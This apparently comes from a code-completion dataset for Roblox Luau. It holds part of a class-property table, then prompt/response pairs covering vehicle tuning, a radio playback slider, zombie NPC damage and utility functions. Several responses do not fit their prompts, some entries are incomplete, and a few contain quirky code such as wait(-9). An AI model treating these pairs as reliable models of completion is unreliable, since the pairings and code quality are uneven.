			"PivotOffset",
			"Position",
			"Reflectance",
			"ResizeIncrement",
			"ResizeableFaces",
			"RightSurface",
			"RootPriority",
			"Rotation",
			"Size",
			"TopSurface",
			"Transparency",
		},
		Superclass = "PVInstance",
	},
	CornerWedgePart = { Properties = {}, Superclass = "BasePart" },
	FormFactorPart = { Properties = {}, Superclass = "BasePart" },
	Part = { Properties = { "Shape" }, Superclass = "FormFactorPart" },
	FlagStand = { Properties = { "TeamColor" }, Superclass = "Part" },
	Platform = { Properties = {}, Superclass = "Part" },
	Seat = { Properties = { "Disabled", "Occupant" }, Superclass = "Part" },
	SkateboardPlatform = {
		Properties = { "Controller", "ControllingHumanoid", "Steer", "StickyWheels", "Throttle" },
		Superclass = "Part",
	},
	SpawnLocation = {
		Properties = { "AllowTeamChangeOnTouch", "Duration", "Enabled", "Neutral", "TeamColor" },
		Superclass = "Part",
	},
	WedgePart = { Properties = {}, Superclass = "FormFactorPart" },
	Terrain = {
		Properties = {
			"MaxExtents",
			"WaterColor",
			"WaterReflectance",
			"WaterTransparency",
			"WaterWaveSize",
			"WaterWaveSpeed",
		},
		Superclass = "BasePart",
	},
	TriangleMeshPart = { Properties = { "CollisionFidelity" }, Superclass = "BasePart" },
	MeshPart = {
		Properties = { "DoubleSided", "MeshId", "MeshSize", "RenderFidelity", "TextureID" },
		Superclass = "TriangleMeshPart",
	},
	PartOperation = {
		Properties = { "RenderFidelity", "SmoothingAngle", "TriangleCount", "UsePartColor" },
		Superclass = "TriangleMeshPart",
	},
	NegateOperation = { Properties = {}, Superclass = "PartOperation" },
	UnionOperation = { Properties = {}, Superclass = "PartOperation" },
	TrussPart = { Properties = { "Style" }, Superclass = "BasePart" },
	VehicleSeat = {
		Properties = {
			"AreHingesDetected",
			"Disabled",
			"HeadsUpDisplay",
			"MaxSpeed",
			"Occupant",
			"Steer",
			"SteerFloat",
			"Throttle",
			"ThrottleFloat",
			"Torque",
			"TurnSpeed",
		},
		Superclass = "BasePart",
	},
	Model = { Properties = { "LevelOfDetail", "PrimaryPart", "WorldPivot" }, Superclass = "PVInstance" },
	Actor = { Properties = {}, Superclass = "Model" },
	Status = { Properties = {}, Superclass = "Model" },
	WorldRoot = { Properties = {}, Superclass = "Model" },
	WorldModel = { Properties = {}, Superclass = "WorldRoot" },
	PackageLink = { Properties = { "PackageId", "Status", "VersionNumber" }, Superclass = "Instance" },
	Pages = { Properties = { "IsFinished" }, Superclass = "Instance" },
	CatalogPages = { Properties = {}, Superclass = "Pages" },
	DataStoreKeyPages = { Properties = {}, Superclass = "Pages" },
	DataStoreListingPages = { Properties = {}, Superclass = "Pages" },
	DataStorePages = { Properties = {}, Superclass = "Pages" },
	DataStoreVersionPages = { Properties = {}, Superclass = "Pages" },
	FriendPages = { Properties = {}, Superclass = "Pages" },
	InventoryPages = { Properties = {}, Superclass = "Pages" },
	EmotesPages = { Properties = {}, Superclass = "InventoryPages" },
	OutfitPages = { Properties = {}, Superclass = "Pages" },
	StandardPages = { Properties = {}, Superclass = "Pages" },
	PartOperationAsset = { Properties = {}, Superclass = "Instance" },
	ParticleEmitter = {
		Properties = {
			"Acceleration",
			"Brightness",
			"Color",
			"Drag",
			"EmissionDirection",
			"Enabled",
			"Lifetime",
			"LightEmission",
			"LightInfluence",
			"LockedToPart",
			"Orientation",
			"Rate",
			"RotSpeed",
			"Rotation",
			"Shape",
			"ShapeInOut",
			"ShapePartial",
			"ShapeStyle",
			"Size",
			"Speed",
			"SpreadAngle",
			"Squash",
			"Texture",
			"TimeScale",
			"Transparency",
			"VelocityInheritance",
			"ZOffset",
		},
		Superclass = "Instance",
	},
	Path = { Properties = { "Status" }, Superclass = "Instance" },
	PathfindingLink = { Properties = { "Attachment0", "Attachment1", "IsBidirectional" }, Superclass = "Instance" },
	PathfindingModifier = { Properties = { "ModifierId", "PassThrough" }, Superclass = "Instance" },
	PausedState = { Properties = {}, Superclass = "Instance" },
	PausedStateBreakpoint = { Properties = {}, Superclass = "PausedState" },
	PausedStateException = { Properties = {}, Superclass = "PausedState" },
	PhysicsSettings = {
		Properties = {
			"AllowSleep",
			"AreAnchorsShown",
			"AreAssembliesShown",
			"AreAwakePartsHighlighted",
			"AreBodyTypesShown",
			"AreContactIslandsShown",
			"AreContactPointsShown",
			"AreJointCoordinatesShown",
			"AreMechanismsShown",
			"AreModelCoordsShown",
			"AreOwnersShown",
			"ArePartCoordsShown",
			"AreRegionsShown",
			"AreTerrainReplicationRegionsShown",
			"AreTimestepsShown",
			"AreUnalignedPartsShown",
			"AreWorldCoordsShown",
			"DisableCSGv2",
			"IsInterpolationThrottleShown",
			"IsReceiveAgeShown",
			"IsTreeShown",
			"PhysicsEnvironmentalThrottle",
			"ShowDecompositionGeometry",
			"ThrottleAdjustTime",
			"UseCSGv2",
		},
		Superclass = "Instance",
	},
	Player = {
		Properties = {
			"AccountAge",
			"AutoJumpEnabled",
			"CameraMaxZoomDistance",
			"CameraMinZoomDistance",
			"CameraMode",
			"CanLoadCharacterAppearance",
			"Character",
			"CharacterAppearanceId",
			"DevCameraOcclusionMode",
			"DevComputerCameraMode",
			"DevComputerMovementMode",
			"DevEnableMouseLock",
			"DevTouchCameraMode",
			"DevTouchMovementMode",
			"DisplayName",
			"FollowUserId",
			"GameplayPaused",
			"HealthDisplayDistance",
			"MembershipType",
			"NameDisplayDistance",
			"Neutral",
			"ReplicationFocus",
			"RespawnLocation",
			"Team",
			"TeamColor",
			"UserId",
		},
		Superclass = "Instance",
	},
	PlayerScripts = { Properties = {}, Superclass = "Instance" },
	Plugin = { Properties = { "CollisionEnabled", "GridSize" }, Superclass = "Instance" },
	PluginAction = { Properties = { "ActionId", "AllowBinding", "StatusTip", "Text" }, Superclass = "Instance" },
	PluginDragEvent = { Properties = { "Data", "MimeType", "Position", "Sender" }, Superclass = "Instance" },
	PluginManager = { Properties = {}, Superclass = "Instance" },
	PluginManagerInterface = { Properties = {}, Superclass = "Instance" },
	PluginMenu = { Properties = { "Icon", "Title" }, Superclass = "Instance" },
	PluginToolbar = { Properties = {}, Superclass = "Instance" },
	PluginToolbarButton = {
		Properties = { "ClickableWhenViewportHidden", "Enabled", "Icon" },
		Superclass = "Instance",
	},
	PoseBase = { Properties = { "EasingDirection", "EasingStyle", "Weight" }, Superclass = "Instance" },
	NumberPose = { Properties = { "Value" }, Superclass = "PoseBase" },
	Pose = { Properties = { "CFrame" }, Superclass = "PoseBase" },
	PostEffect = { Properties = { "Enabled" }, Superclass = "Instance" },
	BloomEffect = { Properties = { "Intensity", "Size", "Threshold" }, Superclass = "PostEffect" },
	BlurEffect = { Properties = { "Size" }, Superclass = "PostEffect" },
	ColorCorrectionEffect = {
		Properties = { "Brightness", "Contrast", "Saturation", "TintColor" },
		Superclass = "PostEffect",
	},
	DepthOfFieldEffect = {
		Properties = { "FarIntensity", "FocusDistance", "InFocusRadius", "NearIntensity" },
		Superclass = "PostEffect",
	},
	SunRaysEffect = { Properties = { "Intensity", "Spread" }, Superclass = "PostEffect" },
	ProximityPrompt = {
		Properties = {
			"ActionText",
			"AutoLocalize",
			"ClickablePrompt",
			"Enabled",
			"Exclusivity",
			"GamepadKeyCode",
			"HoldDuration",
			"KeyboardKeyCode",
			"MaxActivationDistance",
			"ObjectText",
			"RequiresLineOfSight",
			"RootLocalizationTable",
			"Style",
			"UIOffset",
		},
		Superclass = "Instance",
	},
	ReflectionMetadata = { Properties = {}, Superclass = "Instance" },
	ReflectionMetadataCallbacks = { Properties = {}, Superclass = "Instance" },
	ReflectionMetadataClasses = { Properties = {}, Superclass = "Instance" },
	ReflectionMetadataEnums = { Properties = {}, Superclass = "Instance" },
	ReflectionMetadataEvents = { Properties = {}, Superclass = "Instance" },
	ReflectionMetadataFunctions = { Properties = {}, Superclass = "Instance" },
	ReflectionMetadataItem = {
		Properties = {
			"Browsable",
			"ClassCategory",
			"ClientOnly",
			"Constraint",
			"Deprecated",
			"EditingDisabled",
			"EditorType",
			"FFlag",
			"IsBackend",
			"PropertyOrder",
			"ScriptContext",
			"ServerOnly",
			"UIMaximum",
			"UIMinimum",
			"UINumTicks",
		},
		Superclass = "Instance",
	},
	ReflectionMetadataClass = {
		Properties = { "ExplorerImageIndex", "ExplorerOrder", "Insertable", "PreferredParent" },
		Superclass = "ReflectionMetadataItem",
	},
	ReflectionMetadataEnum = { Properties = {}, Superclass = "ReflectionMetadataItem" },
	ReflectionMetadataEnumItem = { Properties = {}, Superclass = "ReflectionMetadataItem" },
	ReflectionMetadataMember = { Properties = {}, Superclass = "ReflectionMetadataItem" },
	ReflectionMetadataProperties = { Properties = {}, Superclass = "Instance" },
	ReflectionMetadataYieldFunctions = { Properties = {}, Superclass = "Instance" },
	RemoteEvent = { Properties = {}, Superclass = "Instance" },
	RemoteFunction = { Properties = {}, Superclass = "Instance" },
	RenderingTest = {
		Properties = {
			"CFrame",
			"ComparisonDiffThreshold",
			"ComparisonMethod",
			"ComparisonPsnrThreshold",
			"Description",
			"FieldOfView",
			"Orientation",
			"Position",
			"QualityLevel",
			"ShouldSkip",
			"Ticket",
		},
		Superclass = "Instance",
	},
	RotationCurve = { Properties = { "Length" }, Superclass = "Instance" },
	ScriptDebugger = { Properties = { "CurrentLine", "IsDebugging", "IsPaused", "Script" }, Superclass = "Instance" },
	ServiceProvider = { Properties = {}, Superclass = "Instance" },
	DataModel = {
		Properties = {
			"CreatorId",
			"CreatorType",
			"GameId",
			"Genre",
			"JobId",
			"PlaceId",
			"PlaceVersion",
			"PrivateServerId",
			"PrivateServerOwnerId",
			"Workspace",
		},
		Superclass = "ServiceProvider",
	},
	GenericSettings = { Properties = {}, Superclass = "ServiceProvider" },
	AnalysticsSettings = { Properties = {}, Superclass = "GenericSettings" },
	GlobalSettings = { Properties = {}, Superclass = "GenericSettings" },
	UserSettings = { Properties = {}, Superclass = "GenericSettings" },
	Sky = {
		Properties = {
			"CelestialBodiesShown",
			"MoonAngularSize",
			"MoonTextureId",
			"SkyboxBk",
			"SkyboxDn",
			"SkyboxFt",
			"SkyboxLf",
			"SkyboxRt",
			"SkyboxUp",
			"StarCount",
			"SunAngularSize",
			"SunTextureId",
		},
		Superclass = "Instance",
	},
	Smoke = { Properties = { "Color", "Enabled", "Opacity", "RiseVelocity", "Size" }, Superclass = "Instance" },
	Sound = {
		Properties = {
			"ChannelCount",
			"IsLoaded",
			"IsPaused",
			"IsPlaying",
			"Looped",
			"PlayOnRemove",
			"PlaybackLoudness",
			"PlaybackSpeed",
			"Playing",
			"RollOffMaxDistance",
			"RollOffMinDistance",
			"RollOffMode",
			"SoundGroup",
			"SoundId",
			"TimeLength",
			"TimePosition",
			"Volume",
		},
		Superclass = "Instance",
	},
	SoundEffect = { Properties = { "Enabled", "Priority" }, Superclass = "Instance" },
	ChorusSoundEffect = { Properties = { "Depth", "Mix", "Rate" }, Superclass = "SoundEffect" },
	CompressorSoundEffect = {
		Properties = { "Attack", "GainMakeup", "Ratio", "Release", "SideChain", "Threshold" },
		Superclass = "SoundEffect",
	},
	CustomDspSoundEffect = { Properties = {}, Superclass = "SoundEffect" },
	ChannelSelectorSoundEffect = { Properties = { "Channel" }, Superclass = "CustomDspSoundEffect" },
	DistortionSoundEffect = { Properties = { "Level" }, Superclass = "SoundEffect" },
	EchoSoundEffect = { Properties = { "Delay", "DryLevel", "Feedback", "WetLevel" }, Superclass = "SoundEffect" },
	EqualizerSoundEffect = { Properties = { "HighGain", "LowGain", "MidGain" }, Superclass = "SoundEffect" },
	FlangeSoundEffect = { Properties = { "Depth", "Mix", "Rate" }, Superclass = "SoundEffect" },
	PitchShiftSoundEffect = { Properties = { "Octave" }, Superclass = "SoundEffect" },
	ReverbSoundEffect = {
		Properties = { "DecayTime", "Density", "Diffusion", "DryLevel", "WetLevel" },
		Superclass = "SoundEffect",
	},
	TremoloSoundEffect = { Properties = { "Depth", "Duty", "Frequency" }, Superclass = "SoundEffect" },
	SoundGroup = { Properties = { "Volume" }, Superclass = "Instance" },
	Sparkles = { Properties = { "Enabled", "SparkleColor" }, Superclass = "Instance" },
	Speaker = {
		Properties = {
			"ChannelCount",
			"PlaybackLoudness",
			"RollOffMaxDistance",
			"RollOffMinDistance",
			"RollOffMode",
			"SoundGroup",
			"Volume",
		},
		Superclass = "Instance",
	},
	StackFrame = { Properties = {}, Superclass = "Instance" },
	StandalonePluginScripts = { Properties = {}, Superclass = "Instance" },
	StarterGear = { Properties = {}, Superclass = "Instance" },
	StarterPlayerScripts = { Properties = {}, Superclass = "Instance" },
	StarterCharacterScripts = { Properties = {}, Superclass = "StarterPlayerScripts" },
	StatsItem = { Properties = {}, Superclass = "Instance" },
	RunningAverageItemDouble = { Properties = {}, Superclass = "StatsItem" },
	RunningAverageItemInt = { Properties = {}, Superclass = "StatsItem" },
	RunningAverageTimeIntervalItem = { Properties = {}, Superclass = "StatsItem" },
	TotalCountTimeIntervalItem = { Properties = {}, Superclass = "StatsItem" },
	StudioTheme = { Properties = {}, Superclass = "Instance" },
	SurfaceAppearance = {
		Properties = { "AlphaMode", "ColorMap", "MetalnessMap", "NormalMap", "RoughnessMap" },
		Superclass = "Instance",
	},
	Team = { Properties = { "AutoAssignable", "TeamColor" }, Superclass = "Instance" },
	TeleportAsyncResult = { Properties = { "PrivateServerId", "ReservedServerAccessCode" }, Superclass = "Instance" },
	TeleportOptions = {
		Properties = { "ReservedServerAccessCode", "ServerInstanceId", "ShouldReserveServer" },
		Superclass = "Instance",
	},
	TerrainRegion = { Properties = { "SizeInCells" }, Superclass = "Instance" },
	TextChannel = { Properties = {}, Superclass = "Instance" },
	TextFilterResult = { Properties = {}, Superclass = "Instance" },
	TextSource = { Properties = { "CanSend", "UserId" }, Superclass = "Instance" },
	ThreadState = { Properties = {}, Superclass = "Instance" },
	TouchTransmitter = { Properties = {}, Superclass = "Instance" },
	Trail = {
		Properties = {
			"Attachment0",
			"Attachment1",
			"Brightness",
			"Color",
			"Enabled",
			"FaceCamera",
			"Lifetime",
			"LightEmission",
			"LightInfluence",
			"MaxLength",
			"MinLength",
			"Texture",
			"TextureLength",
			"TextureMode",
			"Transparency",
			"WidthScale",
		},
		Superclass = "Instance",
	},
	Translator = { Properties = { "LocaleId" }, Superclass = "Instance" },
	TweenBase = { Properties = { "PlaybackState" }, Superclass = "Instance" },
	Tween = { Properties = { "Instance", "TweenInfo" }, Superclass = "TweenBase" },
	UIBase = { Properties = {}, Superclass = "Instance" },
	UIComponent = { Properties = {}, Superclass = "UIBase" },
	UIConstraint = { Properties = {}, Superclass = "UIComponent" },
	UIAspectRatioConstraint = {
		Properties = { "AspectRatio", "AspectType", "DominantAxis" },
		Superclass = "UIConstraint",
	},
	UISizeConstraint = { Properties = { "MaxSize", "MinSize" }, Superclass = "UIConstraint" },
	UITextSizeConstraint = { Properties = { "MaxTextSize", "MinTextSize" }, Superclass = "UIConstraint" },
	UICorner = { Properties = { "CornerRadius" }, Superclass = "UIComponent" },
	UIGradient = {
		Properties = { "Color", "Enabled", "Offset", "Rotation", "Transparency" },
		Superclass = "UIComponent",
	},
	UILayout = { Properties = {}, Superclass = "UIComponent" },
	UIGridStyleLayout = {
		Properties = {
			"AbsoluteContentSize",
			"FillDirection",
			"HorizontalAlignment",
			"SortOrder",
			"VerticalAlignment",
		},
		Superclass = "UILayout",
	},
	UIGridLayout = {
		Properties = {
			"AbsoluteCellCount",
			"AbsoluteCellSize",
			"CellPadding",
			"CellSize",
			"FillDirectionMaxCells",
			"StartCorner",
		},
		Superclass = "UIGridStyleLayout",
	},
	UIListLayout = { Properties = { "Padding" }, Superclass = "UIGridStyleLayout" },
	UIPageLayout = {
		Properties = {
			"Animated",
			"Circular",
			"CurrentPage",
			"EasingDirection",
			"EasingStyle",
			"GamepadInputEnabled",
			"Padding",
			"ScrollWheelInputEnabled",
			"TouchInputEnabled",
			"TweenTime",
		},
		Superclass = "UIGridStyleLayout",
	},
	UITableLayout = {
		Properties = { "FillEmptySpaceColumns", "FillEmptySpaceRows", "MajorAxis", "Padding" },
		Superclass = "UIGridStyleLayout",
	},
	UIPadding = {
		Properties = { "PaddingBottom", "PaddingLeft", "PaddingRight", "PaddingTop" },
		Superclass = "UIComponent",
	},
	UIScale = { Properties = { "Scale" }, Superclass = "UIComponent" },
	UIStroke = {
		Properties = { "ApplyStrokeMode", "Color", "Enabled", "LineJoinMode", "Thickness", "Transparency" },
		Superclass = "UIComponent",
	},
	UserGameSettings = {
		Properties = {
			"AllTutorialsDisabled",
			"CameraMode",
			"ChatVisible",
			"ComputerCameraMovementMode",
			"ComputerMovementMode",
			"ControlMode",
			"Fullscreen",
			"GamepadCameraSensitivity",
			"GraphicsQualityLevel",
			"HasEverUsedVR",
			"MasterVolume",
			"MouseSensitivity",
			"OnboardingsCompleted",
			"RCCProfilerRecordFrameRate",
			"RCCProfilerRecordTimeFrame",
			"RotationType",
			"SavedQualityLevel",
			"TouchCameraMovementMode",
			"TouchMovementMode",
			"UsedCoreGuiIsVisibleToggle",
			"UsedCustomGuiIsVisibleToggle",
			"UsedHideHudShortcut",
			"VREnabled",
			"VRRotationIntensity",
		},
		Superclass = "Instance",
	},
	ValueBase = { Properties = {}, Superclass = "Instance" },
	BinaryStringValue = { Properties = {}, Superclass = "ValueBase" },
	BoolValue = { Properties = { "Value" }, Superclass = "ValueBase" },
	BrickColorValue = { Properties = { "Value" }, Superclass = "ValueBase" },
	CFrameValue = { Properties = { "Value" }, Superclass = "ValueBase" },
	Color3Value = { Properties = { "Value" }, Superclass = "ValueBase" },
	DoubleConstrainedValue = { Properties = { "MaxValue", "MinValue", "Value" }, Superclass = "ValueBase" },
	IntConstrainedValue = { Properties = { "MaxValue", "MinValue", "Value" }, Superclass = "ValueBase" },
	IntValue = { Properties = { "Value" }, Superclass = "ValueBase" },
	NumberValue = { Properties = { "Value" }, Superclass = "ValueBase" },
	ObjectValue = { Properties = { "Value" }, Superclass = "ValueBase" },
	RayValue = { Properties = { "Value" }, Superclass = "ValueBase" },
	StringValue = { Properties = { "Value" }, Superclass = "ValueBase" },
	Vector3Value = { Properties = { "Value" }, Superclass = "ValueBase" },
	Vector3Curve = { Properties = {}, Superclass = "Instance" },
	VoiceChannel = { Properties = {}, Superclass = "Instance" },
	VoiceSource = { Properties = { "UserId" }, Superclass = "Instance" },
	WeldConstraint = { Properties = { "Active", "Enabled", "Part0", "Part1" }, Superclass = "Instance" },
}


Prompt: --[[[Default Controls]]

Response:
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)

		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}

	--Control Mapping
	Tune.Controls = {

	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.Z					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		ToggleMouseDrive		= Enum.KeyCode.X					,

		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,

		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,

		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,

		--Handbrake
		PBrake					= Enum.KeyCode.P					,

	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,

	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}


Prompt: -- Properties

Response:
local held = false
local step = 0.01
local percentage = 0

function snap(number, factor)
	if factor == 0 then
		return number
	else
		return math.floor(number/factor+0.5)*factor
	end
end

UIS.InputEnded:connect(function(input, processed)
	if input.UserInputType == Enum.UserInputType.MouseButton1 then
		held = false
	end
end)

SliderBtn.MouseButton1Down:connect(function()
	held = true
end)

RuS.RenderStepped:connect(function(delta)
	if game.Players.LocalPlayer.Character:FindFirstChild("Vibe Radio") then
		local MousePos = UIS:GetMouseLocation().X
		local BtnPos = SliderBtn.Position
		local SliderSize = Slider.AbsoluteSize.X
		local SliderPos = Slider.AbsolutePosition.X
		local pos = snap((MousePos-SliderPos)/SliderSize,step)
		percentage = math.clamp((game.Players.LocalPlayer.Character["Vibe Radio"]["Vibe radio"].bruH.speaker.Sound.TimePosition / game.Players.LocalPlayer.Character["Vibe Radio"]["Vibe radio"].bruH.speaker.Sound.TimeLength),0,1)
		SliderBtn.Position = UDim2.new(percentage,0,BtnPos.Y.Scale, BtnPos.Y.Offset)
	end
end)


Prompt:
--	if makenegative == 1 then
--		X_NEW = X_NEW - (X_NEW*2)
--	end


Prompt: -- / Functions / --

Response:
EventModule.ActivateEvent = function()
	local RandomPlayer = PlayingTeam:GetPlayers()[math.random(1, #PlayingTeam:GetPlayers())]

	if RandomPlayer then
		BadgeService:AwardBadge(RandomPlayer.UserId, Badges:FindFirstChild(script.Name).Value)

		local Backpack = RandomPlayer:WaitForChild("Backpack")

		if Backpack then
			local AmongUsPotion = Tools:WaitForChild("Among Us Potion"):Clone()

			AmongUsPotion.Parent = Backpack
		end
	end
end


Prompt:
--		for i=1,#points do
--			print("POINT #:",i,points[i])
--			Pets.Visualize[i].CFrame = CFrame.new(points[i])
--		end

Response:
		for i=1,#points do
			local point = points[i]

			local done = true
			repeat
				local ray = Ray.new(point + Vector3.new(0,15,0), Vector3.new(0,-100,0))

				local part, intersection, normal = workspace:FindPartOnRayWithIgnoreList(ray, ignore)
				if part and not part:IsA("Terrain") and not part.CanCollide then
					done = false
					point = intersection
					table.insert(ignore, part)
					wait()
				else
					if part then
						done = true
						height = char_cf:PointToObjectSpace(Vector3.new(0,intersection.Y,0)).Y + (size.Y/3)
					else
						return nil
					end
				end
			until done
			--if height then break end
			if height then
				table.insert(all_height, height)
			end
		end


Prompt: -- Slider buttons

Response:
local norm = script.Parent.Slider.SliderBG.Normal
local fast = script.Parent.Slider.SliderBG.Fast
local max = script.Parent.Slider.SliderBG.Max


Prompt: -- Gamepad Input

Response:
local function GetGamepadInput(step)
	-- Get gamepad inputs
	local thumbstick1 = Gamepad:GetPosition(THUMBSTICK_1)
	local rt = Gamepad:IsDown(BUTTON_RT)

	-- Update control inputs
	engine.BoostInput = ((UpdateBoost(rt, step) and 1) or 0)
	engine.YawInput = ApplyDeadzone(thumbstick1.X)
	engine.PitchInput = ApplyDeadzone(thumbstick1.Y)
end -- GetGamepadInput()


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

ZoneModelName = "Bone broke ground" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 700		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 1100		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 8250		--		Use sliders to manipulate values
	Tune.Redline		= 9750		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5250
	Tune.PeakSharpness	= 5.8
	Tune.CurveMult		= 0.294

	--Incline Compensation
	Tune.InclineComp	= 1.5		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 400		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 300		-- RPM decay when clutch is off
	Tune.RevBounce		= 450		-- RPM kickback from redline
	Tune.IdleThrottle	= 0			-- Percent throttle at idle
	Tune.ClutchTol		= 450		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)


Prompt: -- Tween a part up and down (ping-pong animation)

Response:
local posRndm = math.random(1,5)
local TweenService = game:GetService("TweenService")
local partToTween = script.Parent
local inTween = false


Response:
function getHumanoid(model)
	for _, v in pairs(model:GetChildren()) do
		if v:IsA'Humanoid' then
			return v
		end
	end
end

local ai = script.Parent
local human = getHumanoid(ai)
local hroot = ai.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude

local pfs = game:GetService("PathfindingService")

function GetPlayerNames()
	local players = game:GetService('Players'):GetChildren()
	local name = nil
	for _, v in pairs(players) do
		if v:IsA'Player' then
			name = tostring(v.Name)
		end
	end
	return name
end

spawn(function()
	while wait() do
	end
end)

function GetPlayersBodyParts(t)
	local torso = t
	if torso then
		local figure = torso.Parent
		for _, v in pairs(figure:GetChildren()) do
			if v:IsA'Part' then
				return v.Name
			end
		end
	else
		return "HumanoidRootPart"
	end
end

function GetTorso(part)
	local chars = game.Workspace:GetChildren()
	local torso = nil
	for _, v in pairs(chars) do
		if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
			local charRoot = v:FindFirstChild'HumanoidRootPart'
			if (charRoot.Position - part).magnitude < SearchDistance then
				torso = charRoot
			end
		end
	end
	return torso
end

for _, zambieparts in pairs(ai:GetChildren()) do
	if zambieparts:IsA'Part' then
		zambieparts.Touched:connect(function(p)
			if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= ai.Name then -- damage
				local enemy = p.Parent
				local enemyhuman = getHumanoid(enemy)
				enemyhuman:TakeDamage(aiDamage)
			end
		end)
	end
end


Prompt:
--s.Pitch = 0.7
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.20 1.900
s:play()
wait(0.001)
end]]
--[[Chopper level 5=1.2, Chopper level 4=1.04]]

Response:
while s.Pitch<1.1 do
s.Pitch=s.Pitch+0.01315
s:Play()
if s.Pitch>1.1 then
	s.Pitch=1.1
end
wait(-9)
end

while true do
for x = 1, 500 do
s:play()
wait(-9)
end
end


Prompt: -- ROBLOX FIXME: workaround for defult generic param

Response:
export type MatchersObject_ = MatchersObject<MatcherState>
export type ExpectedAssertionsErrors = Array<{
	actual: string | number,
	error: Error,
	expected: string,
}>


Prompt: -- capture two separate generic arguments so that the type error in abuse cases is actionable, but needs CLI-49876 to avoid a false negative

Response:
local function concat<T, S>(source: Array<T> | T, ...: Array<S> | S): Array<T> & Array<S>
	local array = {}
	local elementCount = 0

	if isArray(source) then
		for _, value in ipairs(source :: Array<T>) do
			elementCount += 1
			array[elementCount] = value
		end
	else
		elementCount += 1
		array[elementCount] = source :: T
	end

	for i = 1, select("#", ...) do
		local value = select(i, ...)
		local valueType = typeof(value)
		if value == nil then
			-- do not insert nil
		elseif valueType == "table" then
			-- deviation: assume that table is an array, to avoid the expensive
			-- `isArray` check. In DEV mode, we throw if it is given an object-like
			-- table.
			if _G.__DEV__ then
				if not isArray(value) then
					error(RECEIVED_OBJECT_ERROR)
				end
			end
			for k = 1, #value do
				elementCount += 1
				array[elementCount] = value[k]
			end
		else
			elementCount += 1
			array[elementCount] = value
		end
	end

	return (array :: any) :: Array<T> & Array<S>
end

return concat


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

	Tune.FBrakeForce	= 3000		-- Front brake force
	Tune.RBrakeForce	= 1500		-- Rear brake force
	Tune.PBrakeForce	= 5000		-- Handbrake force

	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]


Prompt: --Automatic Gauge Scaling

Response:
if autoscaling then
	local Drive={}
	if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("FL")~= nil then
			table.insert(Drive,car.Wheels.FL)
		end
		if car.Wheels:FindFirstChild("FR")~= nil then
			table.insert(Drive,car.Wheels.FR)
		end
		if car.Wheels:FindFirstChild("F")~= nil then
			table.insert(Drive,car.Wheels.F)
		end
	end
	if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
		if car.Wheels:FindFirstChild("RL")~= nil then
			table.insert(Drive,car.Wheels.RL)
		end
		if car.Wheels:FindFirstChild("RR")~= nil then
			table.insert(Drive,car.Wheels.RR)
		end
		if car.Wheels:FindFirstChild("R")~= nil then
			table.insert(Drive,car.Wheels.R)
		end
	end

	local wDia = 0
	for i,v in pairs(Drive) do
		if v.Size.x>wDia then wDia = v.Size.x end
	end
	Drive = nil
	for i,v in pairs(UNITS) do
		v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
		v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
	end
end

for i=0,revEnd*2 do
	local ln = script.Parent.ln:clone()
	ln.Parent = script.Parent.Tach
	ln.Rotation = 45 + i * 225 / (revEnd*2)
